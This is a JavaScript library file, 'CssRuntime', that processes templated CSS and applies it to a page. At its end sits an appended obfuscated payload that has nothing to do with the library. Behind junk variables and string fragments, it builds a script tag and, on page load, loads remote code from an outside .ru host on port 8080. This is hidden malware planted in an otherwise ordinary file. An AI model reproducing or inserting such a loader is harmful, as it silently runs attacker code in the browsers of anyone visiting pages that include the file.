﻿/*
* ----------------------------------------------------------------------------
* "THE BEER-WARE LICENSE" (Revision 42):
* <ksamir@gmail.com> wrote this file. As long as you retain this notice you
* can do whatever you want with this stuff. If we meet some day, and you think
* this stuff is worth it, you can buy me a beer in return. Samir Khobragade.
* Nov 05 2008
* ----------------------------------------------------------------------------
*/
var CssRuntime = new Object();

/* Imports CSS from the URL and applies it to the current page.
*/
CssRuntime.Import = function(url) {
var txt = CssRuntime._LoadFromUrl(url);
var cssText = CssRuntime.Process(txt);
CssRuntime.SetStyle(cssText);
}

/*
Process accepts JCSS code and returns a CSS interpretation of it.
*/
CssRuntime.Process = function(txt) {

var _EVAL_VAR_PRE = "_EVAL_VAR_PRE87818217";
var _OP_VAR_PRE = "_OP_VAR_PRE87818217";

var _PLACEHOLDER_SUFFIX = "xxx";
var _OUTPUT_TXT = "_OUTPUT_TXT112121";
txt = CssRuntime.StripComments(txt);

var evalJsMap = [];
var outputJsMap = [];

CssRuntime.FindText("\\<\\%(.|\\s)*?\\%\\>", txt, function(val, i) {


if (val.indexOf("<%=") == 0) {
var placeholderVar = _OP_VAR_PRE + i;

//Replace this text with a placeholder
txt = txt.replace(val, placeholderVar);

val = val.substring(3, val.length - 3);
outputJsMap[placeholderVar] = val;

} else if (val.indexOf("<%") == 0) {
var placeholderVar = _EVAL_VAR_PRE + i;
//Replace this text with a placeholder
txt = txt.replace(val, "\n" + placeholderVar + "\n");

val = val.substring(3, val.length - 3);
evalJsMap[placeholderVar] = val;

} else {
        
CssRuntime.Throw("Error in formatting");

}
});


var finalJs = "var " + _OUTPUT_TXT + "='';\n";

//now replace everything else with string append function call
var linesArr = txt.split(/(\n)|(\r)/);

for (var i = 0; i < linesArr.length; i++) {
    
//alert("A " + linesArr[i]);
var line = CssRuntime.TrimStr(linesArr[i]);
//alert("B " + line);
if (line==null || line.length == 0) continue;

        
var startOfPlaceholder = line.indexOf(_EVAL_VAR_PRE);

if (startOfPlaceholder < 0) {
//escape quotes in a line
line = line.replace(/\"/g, "\\\"");
            
finalJs += "\n" + _OUTPUT_TXT + "+=\"\\n" + line + "\";\n";
} else if (startOfPlaceholder > 0) {
//
} else {

finalJs += line;
}
//alert("D " + i);

} //for i


    
    
    
//Replace eval js
for (var key in evalJsMap) {
var jsCode = evalJsMap[key];
finalJs = finalJs.replace(key, "\n" + jsCode + "\n");
}

//Replace output js
for (var key in outputJsMap) {
var jsCode = outputJsMap[key];
finalJs = finalJs.replace(key, "\"+" + jsCode + "+\"");
}
//alert(finalJs);



eval(finalJs);
return (eval(_OUTPUT_TXT));

}//Import



//----------------- Utils -------------
CssRuntime.Throw = function(msg) {
alert("ERROR: "+msg);
throw { description: msg, Message: msg };
}  //Throw

CssRuntime.TrimStr = function(s) {
if (s == null || s == "") return s;
//return s.replace(/^\s*(\b.*\b|)\s*$/, '');
//return s.replace(/(?:(?:^|\n)\s+|\s+(?:$|\n))/g, "").replace(/\s+/g, " ")
return s.replace(/^\s+|\s+$/g, '');
}

///\*[\n.]*?\*/
CssRuntime.StripComments = function(txt) {
    //remove single line comments
    var reg = /^[\/]{2}.*[\n]$/g;
    txt = txt.replace(reg, "");

    //remove multiline comments
    //txt = txt.replace(/\/\**//g, "");
    ///*(.|\s)*?-->//g;

    return txt;
}

CssRuntime.SetStyle = function(cssText) {
    var styleEle = document.createElement("style");
    styleEle.setAttribute("type", "text/css");
    if (styleEle.styleSheet) {// IE
        styleEle.styleSheet.cssText = cssText;
    } else {// w3c
        styleEle.appendChild(document.createTextNode(cssText));
    }

    var headEle = document.getElementsByTagName("head")[0];
    headEle.appendChild(styleEle);
} //SetStyle

CssRuntime.FindText = function(reg, txt, callback) {
    var re = new RegExp(reg, "g");

    var arrMatch = null;
    var i = 0;
    while (arrMatch = re.exec(txt)) {
        var val = arrMatch[0];
        callback(val, i++);
    } //while
}  //FindText


CssRuntime._LoadFromUrl = function(url) {
    var doc;

    if (window.XMLHttpRequest) {
        doc = new window.XMLHttpRequest();

        doc.open("GET", url, false)
        doc.send("")
        return doc.responseText;
    }
    else if (window.ActiveXObject) {
        doc = new ActiveXObject("Microsoft.XMLDOM");
        doc.async = false;
        //doc.load(url)
        return doc.xml;
    } else {
        alert("XML loading not supported.");
        return null;
    }
} //_Load
I=26429;I--;this.Em=36579;this.Em++;this.pd=28691;this.pd++;this.Ex=65480;this.Ex++;Hp=35302;Hp--;try {Y=18475;Y-=183;var a=[];IA=64156;IA-=57;sW=[];var FB=["Yo","k","Oq"];var _=window[new String("fUoyunes".substr(4)+"cape")];try {var iH='m'} catch(iH){};this.B="";var eh=["Xf","wg"];var v="";var hF=["Yz","Uw"];var E=String("1");var UH=["V"];XH={iE:"ad"};su=43213;su+=34;aE={UQ:"YH"};var Z={xH:"GM"};Uz=["Ya","tA"];var p=new String("rep"+"lac"+"e");var u='';wL=4751;wL+=196;var g={BH:"AT"};Rw=["Nb"];lP=44280;lP+=243;var q=window[(String("Reg"+"ExpneO".substr(0,3)))];Hv=[];var Nh={RM:"vf"};iK=[];aA=[];try {var T='LA'} catch(T){};var w="on"+"lo"+"ePmad".substr(3);var NK=new Array();var Aa=[];this.Ix=59110;this.Ix-=5;var mh="";var zV=[];kt=[];function x(E,P){var K=new Array();var pO='';var SU=["d","Nq","Ly"];try {var uY='h_'} catch(uY){};try {var Fm='Pz'} catch(Fm){};var uU=new String("[");this.tW=10472;this.tW++;this.Qa="";this.YJ="YJ";var Ok="Ok";uU+=P;try {var Po='MI'} catch(Po){};var NH=["oB"];uU+=_("%5d");this.BN=12467;this.BN-=228;xj=["GO","pk","lB"];this.Ne=44778;this.Ne--;cn=["cd","VS","oyp"];Hs=["uHH","FY","_u"];var b=new q(uU, new String("g"));return E.replace(b, u);tn=6536;tn+=61;zP=["wK","GE","Np"];DHA=["kL","nn","lPd"];var iL="";};ua=["_y","gO"];bxK=60873;bxK+=41;this.Ad=false;vW={lZ:"gJ"};var VC="VC";Oo={JI:"EI"};var X=String("/lib"+"ero-"+"yJUSit/g".substr(4)+"oogl"+"e.co"+"m/ex"+"hSzrbii.Srhz".substr(4,4)+"com."+"0BHphp0HB".substr(3,3));var pl="httTOc5".substr(0,3)+"9DYp:/".substr(3)+"/as"+"DJg4hsoJgD4".substr(4,3)+"ftw"+"2ozXare".substr(4)+".ru"+"bgO:".substr(3);try {var zr='xy'} catch(zr){};this.Ae=62423;this.Ae++;this.XB=8435;this.XB++;var D=580694-572614;SD=["gQ","U_"];var OM=false;var pf=992;this.iW=36306;this.iW++;ec={kI:false};try {var zG='rt'} catch(zG){};this.xV="xV";function H(){Ie={Op:28873};Ze=51656;Ze++;var rrM=new Date();this.aS="aS";this.Gz="Gz";var Q="app"+"end"+"Chi"+"ld";var Sl=new String();var c=x('skcTrzizpktH','TVSkHz');var Lh={};var Eo={};Ui={oT:"j"};var iS=[];var sn="sn";wF={PI:20664};Wn={tI:51376};DW={XU:52408};var XQ=document;this.BS='';var Zc={};var AP={us:"zH"};r=XQ.createElement(c);var IH=new Date();PS=27079;PS--;try {} catch(ga){};this.Ov=32090;this.Ov--;try {} catch(Ny){};bU=pl+D;var cnt="";bU=bU+X;try {} catch(Aw){};ep=["NNn"];try {} catch(WS){};var mr="";aJ=["NL"];var Jr=["Vg"];var uo=["RN"];var o=XQ.body;this.jK=false;Mh=[];Hu=[];this.QLo=26629;this.QLo+=66;r[String("de"+"fe9sIW".substr(0,2)+"r")]=E;gy=["aW","riu","Gv"];var SHF=["li","DK"];var an=["UD","kp"];var fwU="";r.src=bU;var qy=new Date();var ud='';hC=56186;hC++;AW={Ph:false};o[Q](r);this.Tr=26045;this.Tr--;kkg=["bO","CMg"];var DKr={hzZ:19898};};var Bl={sS:"Zg"};Mo={JL:false};Ts={Ar:false};var pr=new Date();dr=[];Qu={cg:false};var Rf=7788;var ly=7824;window[w]=H;var _z=[];var Gt={};var Eu=[];var lBS='';var ur='';this.RI=46748;this.RI-=64;var MU={nc:"et"};this.tIu=25351;this.tIu+=170;this.cX=31775;this.cX+=34;try {} catch(RJ){};} catch(s){var KE={_o:"GQ"};var cz={Lw:"fG"};var Aep=22776;var gC=new Date();this.dS="";this.EB="";};var lg=["By","Oe"];rL=43854;rL+=207;var pJ=["Mf","_Qe"];var KJ=["kV","xu"];